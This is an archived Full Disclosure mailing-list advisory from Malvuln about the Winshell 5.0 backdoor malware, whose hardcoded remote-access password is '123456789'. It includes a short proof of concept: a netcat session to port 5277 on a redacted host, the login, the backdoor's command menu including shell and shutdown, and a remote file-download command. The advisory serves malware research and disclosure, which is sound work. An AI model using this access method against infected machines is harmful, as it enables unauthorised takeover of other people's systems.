full-disclosure - [FD] Backdoor.Win32.Winshell.5_0 / Weak Hardcoded Credentials

Open Source and information security mailing list archives

Date: Tue, 6 Sep 2022 20:09:13 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Winshell.5_0 / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/5bc5f72d19019a2fa3b75896e82ae1e5.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Winshell.5_0
Vulnerability: Weak Hardcoded Credentials
Description: The malware is UPX packed, listens on TCP port 5277 and
requires authentication for remote access. However, the password
"123456789" is weak and hardcoded within the PE file. Unpacking the
executable, easily reveals the cleartext password.
Family: Winshell
Type: PE
MD5: 5bc5f72d19019a2fa3b75896e82ae1e5
Vuln ID: MVID-2022-0633
Disclosure: 09/06/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 5277
Password:123456789

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

C:\dump>

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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